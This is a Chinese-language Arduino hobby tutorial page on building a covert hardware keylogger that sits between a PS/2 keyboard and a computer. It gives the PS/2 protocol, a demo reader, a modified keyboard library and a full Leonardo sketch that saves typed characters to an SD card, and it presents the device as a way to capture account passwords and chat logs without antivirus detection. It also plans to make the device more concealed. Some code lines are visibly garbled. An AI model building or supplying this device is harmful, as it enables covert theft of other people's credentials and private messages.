高级应用

硬件木马: 用Arduino制作键盘记录器

字号+ 作者:duino123.com 来源:未知 2016-04-26 13:59 我要评论( )

硬件木马目前已经发展出了很多种,有截取显卡输出的视频信号并发射的,有植入摄像头悄悄记录的,最常见的是键盘记录器,将键盘偷偷接入键盘记录器,再将记录器插在主机上,就能记录从键盘上输入的数据,比如账号密码,聊天记录等等,而任何杀毒软件都不会检测

警告!警告!本例仅供学习参考,切勿用于非法用途!

硬件木马目前已经发展出了很多种,有截取显卡输出的视频信号并发射的,有植入摄像头悄悄记录的,最常见的是键盘记录器,将键盘偷偷接入键盘记录器,再将记录器插在主机上,就能记录从键盘上输入的数据,比如账号密码,聊天记录等等,而任何杀毒软件都不会检测到。

1.硬件知识
我们先从键盘的插口开始,我这里没有usb的键盘,所以只研究了ps2口,但usb口的与之类似. ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反. 这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:

 

实际上对主机的输出并不一定仍然用ps2口,usb或者串口都可以.
看完上图,也许有人会说这实现起来很难,可能需要用到电路板、电阻、电容等一系列元件和丰富的无线电知识,在很久以前这或许是事实,但现在我们有一个新玩意儿,可以让你在连焊接都不用的情况下就实现上面的设计,它就是arduino.

2.什么是Arduino

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。

 


Arduino本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种,但其中最基本的仍然是UNO和它的升级版Leonardo,上图就是UNO和Leonardo,我们的设计是基于Leonardo的.
Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.
(有关arduino的其他具体细节请自行google,这里只做基本介绍)

3.连接硬件

Arduino 的右边有一排针脚,从0到13,除了0和1被RX和TX占用之外,其余的都可以用来扩展各种硬件,我们先把PS2的键盘和arduino连起来:

首先准备四根杜邦线,为了避免混淆,我采用和前面原理图中一样的颜色,把红线从键盘PS2口的5V针脚接入板子上左侧的5V针脚,把两端的GND用黑线连接起来,黄线从Clock针脚接入板子上的3号针脚,棕黄色线从DATA针脚接入板子上的5号针脚(3号和5号并不是确定的,在后面我们编写的程序中定义几号针脚,这里就接几号):

然后将arduino的miniUSB输出连接到电脑上的USB口,在电脑上安装USB转串口驱动,打开arduino IDE,在设置中设定好串口号,开始编写程序。

4.键盘输入的原理

在编写程序之前,先要了解键盘和计算机之间是如何传输数据的。通过前面的内容,我们已经知道键盘与计算机之间其实是通过四根线连接的,除去电源和接地,起作用的实际上是时钟和数据,它们同时向计算机发送电信号. 而要将数据发送给计算机,键盘会同时检查这两根线路,只有确认它们都处于高位时,键盘才会发送数据,只要其中有一根处于低位,键盘就会认为其他设备正在发送数据,从而继续等待。

从键盘所发出的数据是一个11位的结构,如下图所示:

起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时,二者的校验值就进行一次按位或运算,最后循环运算的结果就是所发送给计算机的按键值。

在数据位后面跟着的是一个奇偶校验位和一个停止位,停止位的值总是1,这两个值其实是可以忽略的。
这里用一段示例的demo程序来说明
 

1.  /*
2.  * ps2.h
3.  */
4.   
5.  #include"Arduino.h"
6.   
7.  class PS2
8.  {
9.        public:
10.              PS2(intclk, int data);
11.             unsigned char read(void);
12.      private:
13.              int_ps2clk;
14.              int_ps2data;
15.};
16. 
17./*
18.* ps2.cpp
19.*/
20.#include"ps2.h"
21. 
22.PS2::PS2(int clk, intdata) //初始化,设置时钟和数据位的针脚
23.{
24.      _ps2clk = clk;
25.      _ps2data = data;
26.}
27. 
28.unsigned charPS2::read(void)
29.{
30.      unsigned char data = 0×00;
31.      unsigned char i;
32.      unsigned char bit = 0×01;
33. 
34.      pinMode(_ps2clk, INPUT);
35.      digitalWrite(_ps2clk, HIGH); 
36.      pinMode(_ps2data, INPUT);
37.      digitalWrite(_ps2data, HIGH); //以上把时钟和数据均设置为高位,开始接受输入
38.      delayMicroseconds(50);
39.      while (digitalRead(_ps2clk) ==HIGH)
40.      ;
41.      delayMicroseconds(5);
42.      while (digitalRead(_ps2clk) ==LOW) //起始位的部分什么也不做,直接跳过
43.      ;
44.      for (i=0; i < 8; i++) //循环读取数据位
45.      {
46.              while(digitalRead(_ps2clk) ==HIGH)
47.                    ;
48.              if(digitalRead(_ps2data)==HIGH)  //当时钟和数据线路均为高位时开始计算
49.              {
50.                    data =data | bit; //两个值进行一次按位或运算
51.              }
52.              while(digitalRead(_ps2clk) == LOW)
53.                    ;
54.              bit =bit << 1;  //时钟脉冲每到达一次低位就与1进行一次左移运算
55.      }
56.      while (digitalRead(_ps2clk) ==HIGH)
57.      ;
58.      while (digitalRead(_ps2clk) ==LOW) //跳过校验位
59.      ;
60.      while (digitalRead(_ps2clk) ==HIGH)
61.      ;
62.      while (digitalRead(_ps2clk) ==LOW) //跳过停止位
63.      ;
64.      pinMode(_ps2clk, OUTPUT);
65.      digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位
66.      return data;
67.}


在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用。
在IDE中新建一个程序文件

1. #include<ps2.h>
2.  
3. PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号
4.  
5. void setup()
6. {
7.   Serial.begin(9600);
8.   kbd.read();
9.   kbd.read();//进行两次测试
10.}
11.void loop()
12.{
13.  unsignedcharcode;  
14.  for(;;) { 
15.    code =kbd.read();
16.   Serial.println(code);//读取键盘输入并输出到串口显示
17.  }
18.}

将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出。

5.完整的实现

我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用:点我点我!!

这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可。
 

/*
  *  PS2Keyboard.h
  *  Arduino PS2键盘支持库
  *  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip
* 修改者:b41k3r
* 基于GPLv2开源
*/
#ifndef PS2Keyboard_h
#define PS2Keyboard_h
 
#include <avr/io.h>
#include<avr/interrupt.h>
#include<avr/pgmspace.h>
#if defined(ARDUINO)&& ARDUINO >= 100
#include"Arduino.h"
#else
#include"WProgram.h"
#endif
#definePS2_TAB                               9 //这些定义完全按照这些键对应的ascii值
#definePS2_ENTER                             13
#definePS2_BACKSPACE                       8
#definePS2_CAPS_LOCK              20
#definePS2_SHIFT                  16
#definePS2_LINEFEED                       10
#definePS2_ESC                               27
#definePS2_INSERT                             45
#definePS2_DELETE                             127
#definePS2_HOME                             36
#definePS2_END                             35
#definePS2_PAGEUP                             33
#definePS2_PAGEDOWN                       34
#definePS2_UPARROW                             38
#definePS2_LEFTARROW                       37
#definePS2_DOWNARROW                       40
#definePS2_RIGHTARROW                       39
#definePS2_F1                               -12 //为了避免冲突,将F1-F12的值重新定义为了负值
#definePS2_F2                               -13
#definePS2_F3                               -14
#definePS2_F4                               -15
#definePS2_F5                               -16
#definePS2_F6                               -17
#definePS2_F7                               -18
#definePS2_F8                               -19
#definePS2_F9                               -20
#definePS2_F10                               -21
#definePS2_F11                               -22
#definePS2_F12                               -23
#definePS2_SCROLL                         0
/*
*  这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源
*  代码请看文后的下载地址
*/
#define PS2_KEYMAP_SIZE136
typedef struct {
       uint8_tnoshift[PS2_KEYMAP_SIZE];
       uint8_tshift[PS2_KEYMAP_SIZE];
       uint8_tuses_altgr;
       uint8_taltgr[PS2_KEYMAP_SIZE];
} PS2Keymap_t;
extern const PROGMEMPS2Keymap_t PS2Keymap_US;
extern const PROGMEMPS2Keymap_t PS2Keymap_German;
class PS2Keyboard {
  public:
   PS2Keyboard();
    staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US);
    staticboolavailable();
    staticintread();
    intreadIt();
   intgetCombinationKey();
};
#if!defined(CORE_INT0_PIN)
#ifdefined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)// ArduinoMega
#defineCORE_INT0_PIN 2
#defineCORE_INT1_PIN 3
#defineCORE_INT2_PIN 21
#defineCORE_INT3_PIN 20
#defineCORE_INT4_PIN 19
#defineCORE_INT5_PIN 18
#elifdefined(__AVR_ATmega644P__) ||defined(__AVR_ATmega644__) // Sanguino
#defineCORE_INT0_PIN 10
#defineCORE_INT1_PIN 11
#defineCORE_INT2_PIN 2
#elifdefined(__AVR_ATmega32U4__) // Leonardo
#define CORE_INT0_PIN 3
#define CORE_INT1_PIN 2
#define CORE_INT2_PIN 0
#define CORE_INT3_PIN 1
#else  //ArduinoDuemilanove, Diecimila, LilyPad, Mini, Fio, etc…
#defineCORE_INT0_PIN 2
#defineCORE_INT1_PIN 3
#endif
#endif
#endif
 
/*
*  PS2Keyboard.cpp
*  Arduino PS2键盘支持库
*  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip
*  修改者:b41k3r
*  基于GPLv2开源
*/
 
#include"PS2Keyboard.h"
 
#define BUFFER_SIZE 45
static volatile uint8_tbuffer[BUFFER_SIZE];
static volatile uint8_thead, tail;
static uint8_t DataPin;
static uint8_tCharBuffer=0;
static uint8_tUTF8next=0;
static const PS2Keymap_t*keymap=NULL;
intCombinationKey=0; //增加了一个参数,用来判定按下的是否是功能键和组合键
 
voidps2interrupt(void) //读取键盘输入的函数,基本原理同前面的demo程序
{
       staticuint8_t bitcount=0;
       staticuint8_t incoming=0;
       staticuint32_t prev_ms=0;
       uint32_tnow_ms;
       uint8_t n,val;
       val =digitalRead(DataPin);
       now_ms =millis();
       if (now_ms- prev_ms > 250) {
               bitcount=0;
               incoming=0;
       }
       prev_ms =now_ms;
       n =bitcount – 1;
       if (n <=7) {
               incoming|=(val << n);
       }
       bitcount++;
       if(bitcount == 11) {
               uint8_ti= head + 1;
               if(i>= BUFFER_SIZE) i = 0;
               if(i!= tail) {
                       buffer[i]=incoming;
                       head= i;
               }
               bitcount=0;
               incoming=0;
       }
}
 
static inline uint8_tget_scan_code(void)
{
       uint8_t c,i;
       i = tail;
       if (i ==head) return 0;
       i++;
       if (i >=BUFFER_SIZE) i = 0;
       c =buffer[i];
       tail = i;
       return c;
}
 
const PROGMEM PS2Keymap_tPS2Keymap_US = {  //预先定义好键盘上所有的常用键所对应的值
  // without shift
       {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,
       0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '`', 0,
       0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'q','1',0,
       0, 0, 'z','s','a', 'w', '2',0,

       0, 'c','x', 'd', 'e', '4', '3',0,

       0, ' ','v', 'f', 't', 'r', '5',0,

       0, 'n','b', 'h', 'g', 'y', '6',0,

       0, 0, 'm','j', 'u', '7', '8',0,

       0, ',','k', 'i', 'o', '0', '9',0,

       0, '.','/', 'l', ';', 'p', '-',0,

       0, 0, '\'',0, '[', '=', 0, 0,

       PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, ']', 0, '\\', 0, 0,

       0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,

       0, '1', 0,'4', '7', 0, 0, 0,

       '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,

       PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,

       0, 0, 0,PS2_F7 },

  // with shift

       {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,

       0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '~', 0,

       0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'Q', '!', 0,

       0, 0, 'Z','S', 'A', 'W', ,
       0, 'C','X', 'D', 'E', ', '#',0,

       0, ' ','V', 'F', 'T', 'R', '%',0,

       0, 'N','B', 'H', 'G', 'Y', '^',0,

       0, 0, 'M','J', 'U', '&','*', 0,

       0, '<','K', 'I', 'O', ')','(', 0,

       0, '>','?', 'L', ':', 'P','_', 0,

       0, 0,'"', 0, '{', '+', 0,0,

       PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, '}', 0, '|', 0, 0,

       0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,

       0, '1', 0,'4', '7', 0, 0, 0,

       '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,

       PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,
        0, 0, 0,PS2_F7 },
       0
};
 
#defineBREAK    0×01
#defineMODIFIER 0×02
#defineSHIFT_L  0×04
#defineSHIFT_R  0×08
#defineALTGR    0×10
#defineCTRL     0×20
 
static charget_iso8859_code(void)
{
       staticuint8_t state=0;
       uint8_t s;
       char c;
       while (1) {
               s=get_scan_code();
               if(!s)return 0;
               if(s== 0xF0) {
                       state|=BREAK;
               }elseif (s == 0xE0) {
                       state|=MODIFIER;
               }else{
                       if(state& BREAK) {
                               if(s == 0×12){
                                       state&=~SHIFT_L;
                               }else if (s ==0×59) {
                                       state&=~SHIFT_R;
                               }else if (s ==0×14) {
                                       state&=~CTRL;
                               }else if (s ==0×11) {
                                       state&=~ALTGR;
                               }
                               state&=~(BREAK | MODIFIER);
                               continue;
                       }
                       if(s== 0×12) {
                               state|=SHIFT_L;
                       CombinationKey=3;
                               continue;
                       }elseif (s == 0×59) {
                               state|=SHIFT_R;
                               continue;
                       }elseif (s == 0×14) {
                               state|=CTRL;
                               continue;
                       }elseif (s == 0×11) {
                               state|= ALTGR;
                       }
                       c=0;
                       if(state& MODIFIER) {
                               switch(s) {
                                 case0×70: c= PS2_INSERT;      break;
                                 case0x6C: c= PS2_HOME;        break;
                                 case0x7D: c= PS2_PAGEUP;      break;
                                 case0×71: c= PS2_DELETE;      break;
                                 case0×69: c= PS2_END;         break;
                                 case0x7A: c= PS2_PAGEDOWN;    break;
                                 case0x75:c =PS2_UPARROW;     break;
                                 case0x6B: c= PS2_LEFTARROW;   break;
                                 case0×72: c= PS2_DOWNARROW;   break;
                                 case0×74: c= PS2_RIGHTARROW;  break;
                                 case0x4A: c= &#039;/&#039;;            break;
                                 case0x5A: c= PS2_ENTER;       break;
                                 default:break;
                               }
                       }elseif (state & (SHIFT_L | SHIFT_R)) {
                               if(s <PS2_KEYMAP_SIZE)
                                       c=pgm_read_byte(keymap->shift + s);
                       }else{
                               if(s< PS2_KEYMAP_SIZE)
                                       c=pgm_read_byte(keymap->noshift + s);
                       }
                       if(state& CTRL) { //ctrl加字母组合键
               CombinationKey=1;
                               if(c>= 'A' && c <='Z')
                             c=0-c;
                               elseif (c>= 'a' && c <= 'z')
                             c=0-c;
                               elseif (c ==PS2_ENTER)
                                       c=PS2_LINEFEED;
                       }
                       if(state& ALTGR) { //alt加字母组合键
               CombinationKey=2;
                               if(c >= 'A'&& c <= 'Z')
                             c=0-c;
                               elseif (c>= 'a' && c <= 'z')
                             c=0-c;
                               elseif (c ==PS2_ENTER)
                                       c=PS2_LINEFEED;
                       }
                       state&=~(BREAK | MODIFIER);
                       if(c)return c;
               }
       }
}
 
intPS2Keyboard::getCombinationKey() {
     returnCombinationKey;
}
 
boolPS2Keyboard::available() {
       if(CharBuffer || UTF8next)return true;
       CharBuffer= get_iso8859_code();
       if(CharBuffer) return true;
       return false;
}
 
int PS2Keyboard::readIt(){
      returnread();
}
 
int PS2Keyboard::read() {
       uint8_tresult;
       result =UTF8next;
       if (result){
               UTF8next=0;
       } else {
               result=CharBuffer;
               if(result){
                       CharBuffer=0;
               }else{
                       result=get_iso8859_code();
               }
               if(result>= 128) {
                 if(result>= 233 && result <= 244) //F1-F12的输入判定
                   {
                       CombinationKey=result;
                   }else
                   {
                                   UTF8next=(result & 0x3F) | 0×80;
                                   result=((result >> 6) & 0x1F) | 0xC0;
                   }
               }
       }
       if(!result) return -1;
       returnresult;
}
 
PS2Keyboard::PS2Keyboard(){
  // nothing todohere, begin() does it all
}
 
void PS2Keyboard::begin(uint8_tdata_pin, uint8_tirq_pin, constPS2Keymap_t &map) {
  uint8_tirq_num=0;
 
  DataPin =data_pin;
  keymap =&map;
 
#ifdef INPUT_PULLUP
 pinMode(irq_pin,INPUT_PULLUP);
 pinMode(data_pin,INPUT_PULLUP);
#else
 pinMode(irq_pin,INPUT);
 digitalWrite(irq_pin,HIGH);
 pinMode(data_pin,INPUT);
 digitalWrite(data_pin,HIGH);
#endif
 
  switch(irq_pin) {
   #ifdefCORE_INT0_PIN
   caseCORE_INT0_PIN:
     irq_num = 0;
     break;
    #endif
   #ifdefCORE_INT1_PIN
   caseCORE_INT1_PIN:
     irq_num = 1;
     break;
    #endif
   #ifdefCORE_INT2_PIN
   caseCORE_INT2_PIN:
     irq_num = 2;
     break;
    #endif
   #ifdefCORE_INT3_PIN
   caseCORE_INT3_PIN:
     irq_num = 3;
     break;
    #endif
   #ifdefCORE_INT4_PIN
   caseCORE_INT4_PIN:
     irq_num = 4;
     break;
    #endif
   #ifdefCORE_INT5_PIN
   caseCORE_INT5_PIN:
     irq_num = 5;
     break;
    #endif
   #ifdefCORE_INT6_PIN
   caseCORE_INT6_PIN:
     irq_num = 6;
     break;
    #endif
   #ifdefCORE_INT7_PIN
    caseCORE_INT7_PIN:
     irq_num = 7;
     break;
    #endif
   default:
     irq_num = 0;
     break;
  }
  head = 0;
  tail = 0;
 attachInterrupt(irq_num,ps2interrupt, FALLING);}

键盘输入的库有了,接下来第二步是将上面所截获的数据存入存储器,arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,这样小的空间显然不能满足我们的要求,但arduino本是就是为扩展各种功能而设计出来的,为此我们为它加入一块sd卡扩展板,将键盘数据存储在sd卡中,这里我选用seeed studio的SD Shield(这种扩展板市面上有很多,只要是支持arduino的,买来都能用),扩展板的安装极为简单,只需按照针脚位置对接插入,如下图所示:

这些为arduino定制的扩展板都有很好的兼容性,所以只要插上,然后用现成的SD卡库开发一段存储程序即可。

接下来是如何将截获的键值发送到计算机的问题,这个问题自从arduino升级到leonardo,官方已经提供了完整的支持(这也是我们的设计基于leonardo的原因),这个新增的keyboard库可以用很简单的代码模拟键盘向计算机输入数据。

好,现在万事具备,只差一段最后的程序了:

1.  
2. /*  Name:arduinoPS2键盘记录器程序
3. *  Author:b41k3r
4. *  Update:2014-01-10
5.  
6. *  Version:0×06
7. */   
8. #include<PS2Keyboard.h>
9. #include<SD.h>   //引用SD卡读写官方库
10. 
11.const int DataPin = 5;
12.const intIRQpin=  3;  //设置数据和时钟针脚
13.File RecordFile;   //定义文件写入
14.StringrecordTemp="[Begin]";//监听的临时参数,每监听到一个键就加在此字符的后面,并设定每次监听的开头为[Begin]
15.PS2Keyboard kbd;  //PS2Keyboard 类实例化
16.void setup() {
17.  Keyboard.begin();//向计算机发送按键信号准备开始
18.  kbd.begin(DataPin,IRQpin,PS2Keymap_US);  //设置键盘为标准的美国101
19.  Serial.begin(9600);
20.  pinMode(10,OUTPUT);
21.  if(!SD.begin(4)) {
22.  Serial.println("Initialization failed!");
23.  }
24.  RecordFile=SD.open("record.txt",FILE_WRITE);  //在SD卡建立文件,准备写入
25.}
26. 
27.void loop() {   //开始循环监听
28.if (kbd.available()) {
29.  char c=kbd.readIt();   //读取输入的键
30.  intCombinationKey =kbd.getCombinationKey();
31.  if(c<0)
32.   {  //CombinationKey=2和1代表alt和ctrl两种组合键
33.     if(CombinationKey==2)
34.      {
35.         Keyboard.press(KEY_LEFT_ALT);
36.          Keyboard.press(abs(c));
37.          delay(100);
38.         Keyboard.releaseAll();
39.      }else if (CombinationKey==1)
40.      {
41.         Serial.println(abs(c));
42.         Keyboard.press(KEY_LEFT_CTRL);
43.         Keyboard.press(abs(c));
44.          delay(100);
45.         Keyboard.releaseAll();
46.      }else if(CombinationKey>=233&&CombinationKey<=244)  //代表F1-F12
47.      {
48.        Serial.println(CombinationKey);
49.        switch (CombinationKey) {
50.            case244:  KeyPress(KEY_F1);  break;
51.            case243:  KeyPress(KEY_F2);  break;
52.            case242:  KeyPress(KEY_F3);  break;
53.            case241:  KeyPress(KEY_F4);  break;
54.            case240:  KeyPress(KEY_F5);  break;
55.             case239:  KeyPress(KEY_F6);  break;
56.            case238:  KeyPress(KEY_F7);  break;
57.            case237:  KeyPress(KEY_F8);  break;
58.            case236:  KeyPress(KEY_F9);  break;
59.             case235:  KeyPress(KEY_F10); break;
60.             case234:  KeyPress(KEY_F11); break;
61.             case233:  KeyPress(KEY_F12); break;
62.             default:   break;
63.        }
64. 
65.      }
66.    }
67.  else{ 
68.      switch (c) {  //其余的功能键
69.              casePS2_ENTER:    KeyPress(KEY_RETURN);     break;
70.              casePS2_TAB:      KeyPress(KEY_TAB);      break;
71.              casePS2_BACKSPACE:KeyPress(KEY_BACKSPACE);break;
72.              casePS2_SHIFT:    KeyPress(KEY_LEFT_SHIFT);  break;
73.              casePS2_ESC:       KeyPress(KEY_ESC);       break;
74.             casePS2_PAGEDOWN:  KeyPress(KEY_PAGE_DOWN);   break;
75.              casePS2_PAGEUP:    KeyPress(KEY_PAGE_UP);    break;
76.            casePS2_LEFTARROW:  KeyPress(KEY_LEFT_ARROW);  break;
77.             casePS2_RIGHTARROW:KeyPress(KEY_RIGHT_ARROW); break;
78.             casePS2_UPARROW:    KeyPress(KEY_UP_ARROW);   break;
79.             casePS2_DOWNARROW:  KeyPress(KEY_DOWN_ARROW);  break;
80.              casePS2_DELETE:    KeyPress(KEY_DELETE);     break;
81.            casePS2_CAPS_LOCK:  KeyPress(KEY_CAPS_LOCK);   break;
82.              casePS2_HOME:      KeyPress(KEY_HOME);      break;
83.              casePS2_END:       KeyPress(KEY_END);       break;
84.             casePS2_INSERT:    KeyPress(KEY_INSERT);    break;
85.             default:   //只有输入字符的时候才开始记录
86.             if(recordTemp.length()>27) //为了优化记录速度,recordTemp每截获20个字符才写入record.txt文件一次(包含了开头的[Begin],所以是27),这个值可以任意设置
87.              {
88.               if (RecordFile)
89.                 {
90.                  recordTemp.concat("[End]");
91.                  RecordFile.println(recordTemp);
92.                  RecordFile.close();
93.                  Serial.println("Writing tofiledone."); //到达20个字符后保存并关闭文件
94.                 } else {
95.                  Serial.println("Error writingfile.");
96.                 }
97.               recordTemp="[Begin]"; //保存后重新打开,开始下一轮记录,recordTemp值复位
98.                 RecordFile=SD.open("record.txt", FILE_WRITE);
99.              }else
100.                  {
101.                    recordTemp.concat(c);  //如果不满20个字符,则将记录的键加入recordTemp之后
102.                  }
103.                  KeyPress(c);  //监听完后把按键信号发送到计算机
104.             }
105.       }
106.     }
107.     }
108.     void KeyPress(charc)  //按键函数
109.     {
110.       Keyboard.press(c);
111.        delay(50);
112.        Keyboard.release(c);
113.   }

把上面的程序编译并下载到arduino运行,键盘输入的字符被成功的记录到了SD卡中,而杀毒软件没有任何的反应:

6.需要改进的地方

1. 实现的功能键还不完整,比如三键组合还没实现,需要进一步开发.
2. 不能一直用杜邦线连接PS2口,这样既不方便也不隐蔽,下一步要用PS2母口连接.
3. 目前是从PS2输入,连接计算机是USB输出,下一步要实现连接计算机也用PS2.
4. 体积还有点大,正在研究用U盘大小的Arduinopromini替换leonardo.

如需更详细资料,如有好资源分享,请加入QQ交流群:214461008

欢迎阅读,欢迎转载,不用注明出处!本站只提供入门和进阶资料,做您学习的小伙伴!

老司机也欢迎光临指导!有好内容请加群:214461008 不要看声明了,看内容吧!

相关文章
  • 如何利用Arduino作为AVR ISP烧录bootloader

    如何利用Arduino作为AVR ISP烧录bootloader

    2016-05-10 18:54

  • 自制Arduino-Tiny最小系统

    自制Arduino-Tiny最小系统

    2016-04-27 15:37

  • Arduino as a programmable logic controller (PLC)

    Arduino as a programmable logic controller (PLC)

    2016-03-27 23:02

  • 利用arduino + 喇叭播放乐谱

    利用arduino + 喇叭播放乐谱

    2016-03-27 16:56

网友点评
Arduino